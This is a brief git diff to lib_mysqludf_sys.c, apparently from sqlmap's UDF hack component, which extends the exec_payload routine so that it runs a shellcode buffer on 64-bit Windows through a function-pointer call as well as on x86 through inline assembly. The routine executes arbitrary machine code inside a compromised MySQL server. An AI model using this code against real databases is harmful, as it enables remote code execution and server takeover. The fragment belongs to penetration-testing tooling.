diff --git a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c index ef58a48c3..c16469f3a 100755 --- a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c +++ b/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c @@ -528,16 +528,23 @@ int sys_bineval( return 0; } -#if defined(_M_IX86) +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + +typedef void(*pt2func)(); + DWORD WINAPI exec_payload(LPVOID lpParameter) { __try { +#if defined(_M_IX86) __asm { mov eax, [lpParameter] call eax } +#else + ((pt2func)lpParameter)(); +#endif } __except(EXCEPTION_EXECUTE_HANDLER) {